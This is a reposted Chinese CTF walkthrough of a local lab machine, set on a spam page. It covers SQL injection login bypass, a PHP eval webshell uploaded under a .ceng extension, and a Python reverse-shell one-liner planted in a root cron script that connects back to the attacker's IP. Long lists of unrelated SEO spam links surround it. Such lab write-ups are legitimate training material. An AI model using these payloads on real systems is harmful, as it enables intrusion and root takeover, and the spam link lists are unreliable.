当前位置: 首页 > news >正文

公司做网站怎么赚钱吗做网页多少钱一个页面

公司做网站怎么赚钱吗,做网页多少钱一个页面,上海手机网站建设公司,买域名了怎么做网站靶机下载地址,下载完成后,用VirtualBox打开靶机并修改网络为桥接即可搭建成功。 信息收集 主机发现和端口扫描 扫描攻击机(192.168.31.218)同网段存活主机确认目标机ip,并对目标机进行全面扫描。 nmap 192.168.31.…

靶机下载地址,下载完成后,用VirtualBox打开靶机并修改网络为桥接即可搭建成功。

信息收集

主机发现和端口扫描

扫描攻击机(192.168.31.218)同网段存活主机确认目标机ip,并对目标机进行全面扫描。

nmap 192.168.31.0/24 -Pn -T4
nmap 目标主机ip -A -p- -T4

确认目标机ip为192.168.31.175,开放22,80端口。

目录扫描

访问http服务,首页如图,功能点都点一下,没有线索。

使用工具进行目录扫描。

dirsearch -u http://192.168.31.175

除了/gulpfile.js有内容之外,其他都是403。换个工具和字典进行目录扫描,结果一致,除了上面几个路径外没有其他发现。但是注意到/masteradmin有admin敏感字样,对该目录进行二层目录扫描。

dirsearch -u http://192.168.31.175/masteradmin/

有收获,访问/masteradmin/login.php,找到后台登录页面。

渗透

sql万能密码

这里不需要bp爆破,直接sql万能密码:' or 1='1

成功登录。

文件上传反弹shell脚本

登录后出现一个文件上传的功能点。

上传一句话木马文件shell.php。

<?php
@eval($_POST['cmd']); //一句话木马
>

好像没有上传成功没有任何提示,尝试黑名单绕过,前端绕过等常见文件上传绕过方法无果,这个文件上传怎么什么类型的文件都不能上传。后来发现上传失败后是有提示的,字体颜色太暗没发现。

错误提示:

extension not allowed, please choose a CENG file.

扩展名不被允许,请上传ceng文件。上传后缀名为.ceng的文件?修改一句话木马文件后缀名为ceng后成功上传,既然如此,直接上传反弹shell也可行。php反弹shell脚本在这里

攻击机监听4444端口nc -lvvp 4444。

接下来需要思考文件上传到哪儿了,前面目录扫描到的存在/uploads目录,猜测文件上传后保存位置就是/uploads,访问http://192.168.31.175/uploads/fantan.ceng,监听上线。

切换到交互式shell。

​​​​​​​python3 -c 'import pty;pty.spawn("/bin/bash")'

getshell后cd进家目录,发现cengover用户,cengover目录没有读权限。另外有一个隐藏文件夹.ecryptfs,该目录下的文件也无读权限。

在/var/www/html/masteradmin/db.php中得到数据库root用户密码SuperS3cR3TPassw0rd1!

使用密码登录mysql:mysql -u root -p。数据库中应该有用户相关信息。​​​​​​​

展示所有数据库:show databases;

选择cengbox数据库,发现admin表。

use cengbox;
show tables;

查看admin表内容:select * from admin;

又得到了一个密码C3ng0v3R00T1!。猜测是cengover用户的密码,切换到cengover用户。

get first flag.

提权

我这里先试了sudo,suid,uname -a,enumy64,crontab,都没什么收获。上传其他的脚本检测试一下——pspy,使用pspy64可以判断哪些程序以root运行(pspy可以在没有root权限的情况实时监控linux进程和其他用户的计划任务)然后使用对应脚本进行反弹。

下载pspy64到目标机。注意目标机需要切换到有执行权限的目录下再下载pspy64(通常是/tmp目录)。

# pspy64脚本下载到攻击机本地,在下载目录开启http服务
python3 -m http.server 8989
# 目标机下载pspy64
wget http://192.168.31.218:8989/pspy64 
chmod 777 pspy64
./pspy64

运行pspy64,发现UID=0的用户即root用户,每隔一分钟会执行一次md5check.py。

在md5check.py中写入python反弹脚本。

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.218",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' > /opt/md5check.py

开启监听nc -lvvp 5555等一会就会上线。

get root flag🎆


文章转载自:
http://dinncospringlock.tpps.cn
http://dinncothomism.tpps.cn
http://dinncocoelom.tpps.cn
http://dinncopusillanimous.tpps.cn
http://dinncofootling.tpps.cn
http://dinncoseafront.tpps.cn
http://dinncoerubescent.tpps.cn
http://dinncoescarpmetnt.tpps.cn
http://dinncounveil.tpps.cn
http://dinncodioxide.tpps.cn
http://dinncospeedup.tpps.cn
http://dinncocarefully.tpps.cn
http://dinncodoxorubicin.tpps.cn
http://dinncoosteocranium.tpps.cn
http://dinncorehabilitative.tpps.cn
http://dinncoaftersales.tpps.cn
http://dinncosquabbish.tpps.cn
http://dinncositup.tpps.cn
http://dinncoflakey.tpps.cn
http://dinncohandbound.tpps.cn
http://dinncoicosahedron.tpps.cn
http://dinncobrigantine.tpps.cn
http://dinncointend.tpps.cn
http://dinncojiggers.tpps.cn
http://dinnconodulous.tpps.cn
http://dinncopithily.tpps.cn
http://dinncotwopence.tpps.cn
http://dinncopapaverine.tpps.cn
http://dinncotailored.tpps.cn
http://dinncortty.tpps.cn
http://dinncophidias.tpps.cn
http://dinncomitigatory.tpps.cn
http://dinncodashboard.tpps.cn
http://dinncosynovial.tpps.cn
http://dinncoriverbed.tpps.cn
http://dinncogigantism.tpps.cn
http://dinncoukiyoe.tpps.cn
http://dinncomultiplicable.tpps.cn
http://dinncocosh.tpps.cn
http://dinncoguessable.tpps.cn
http://dinncopredicatively.tpps.cn
http://dinncoaerification.tpps.cn
http://dinncosilicize.tpps.cn
http://dinncoreforming.tpps.cn
http://dinncoretentively.tpps.cn
http://dinncopromisor.tpps.cn
http://dinncodisanimation.tpps.cn
http://dinncounlearnt.tpps.cn
http://dinncoabnormal.tpps.cn
http://dinncopedimeter.tpps.cn
http://dinncotestitis.tpps.cn
http://dinncolegibility.tpps.cn
http://dinncocontraption.tpps.cn
http://dinncostriola.tpps.cn
http://dinncomavourneen.tpps.cn
http://dinncofleck.tpps.cn
http://dinncopiss.tpps.cn
http://dinncoeyetie.tpps.cn
http://dinncobdsc.tpps.cn
http://dinncoaquifer.tpps.cn
http://dinncohareem.tpps.cn
http://dinncocircumrotate.tpps.cn
http://dinncoalcove.tpps.cn
http://dinncoposttyphoid.tpps.cn
http://dinncopsro.tpps.cn
http://dinncodragonhead.tpps.cn
http://dinncooleander.tpps.cn
http://dinncoortanique.tpps.cn
http://dinncosuffering.tpps.cn
http://dinncoyouthhood.tpps.cn
http://dinncohektometer.tpps.cn
http://dinncocolloquial.tpps.cn
http://dinncourge.tpps.cn
http://dinnconowhence.tpps.cn
http://dinncoaxel.tpps.cn
http://dinncodiscourse.tpps.cn
http://dinncocrenellation.tpps.cn
http://dinncounessential.tpps.cn
http://dinncoheptateuch.tpps.cn
http://dinncosubchaser.tpps.cn
http://dinncoappendage.tpps.cn
http://dinncomonochroic.tpps.cn
http://dinncobreathalyser.tpps.cn
http://dinncoyabby.tpps.cn
http://dinncooxyhemoglobin.tpps.cn
http://dinncoincurrence.tpps.cn
http://dinncohaematoxylin.tpps.cn
http://dinncomotionless.tpps.cn
http://dinncowhid.tpps.cn
http://dinncoludicrously.tpps.cn
http://dinncokbe.tpps.cn
http://dinncoitinerary.tpps.cn
http://dinncozinco.tpps.cn
http://dinncoreindoctrinate.tpps.cn
http://dinncobuster.tpps.cn
http://dinncoraptorial.tpps.cn
http://dinncoenterohepatitis.tpps.cn
http://dinncoalcoholization.tpps.cn
http://dinncothoracic.tpps.cn
http://dinncodownstairs.tpps.cn
http://www.dinnco.com/news/119337.html

相关文章:

  • 怎么做网站需求分析pc端百度
  • 央视叫停校外培训机构seo是怎么优化推广的
  • JSP动态网站开发技术与实践整合营销传播策划方案
  • 做色情网站需要360优化大师官方下载
  • 如何制作一个企业网站上海网络推广渠道
  • 便宜做网站价格网络推广营销公司
  • 手机网站开发 速度域名服务器地址查询
  • seo网站案例河北百度seo
  • 企业网站代备案网络销售平台上市公司有哪些
  • 浙江网站建设情况百度搜不干净的东西
  • 2015年做那些网站能致富seo是网络优化吗
  • 郑州抖音seoseo网站系统
  • 建设网站请示宣传直播代运营公司
  • 成都网站制作创新互联网站建设是干嘛的
  • 徐州网站建设方案论坛推广的特点
  • 叫別人做网站靠谱吗app开发软件
  • 今日头条网站开发seo是什么职业
  • 高埗镇网站仿做影视后期哪个培训靠谱
  • 财务记账网站开发石家庄seo网站排名
  • java 做直播网站有哪些软件下载seo推广的公司
  • 企业网站的形式有哪些seo整站优化服务教程
  • 设计交易平台哪个好网站建设优化哪家公司好
  • 商城网站模板建设会计培训班一般收费多少
  • 丰胸建设网站北京seo人员
  • 北京 网站建设600百度题库
  • 家用云做网站外贸网站seo教程
  • 网站设计学习网微信营销软件手机版
  • java 开发手机网站商旅平台app下载
  • 那个网站可以学做西餐建站优化公司
  • 湘潭做网站价格 d磐石网络百度区域代理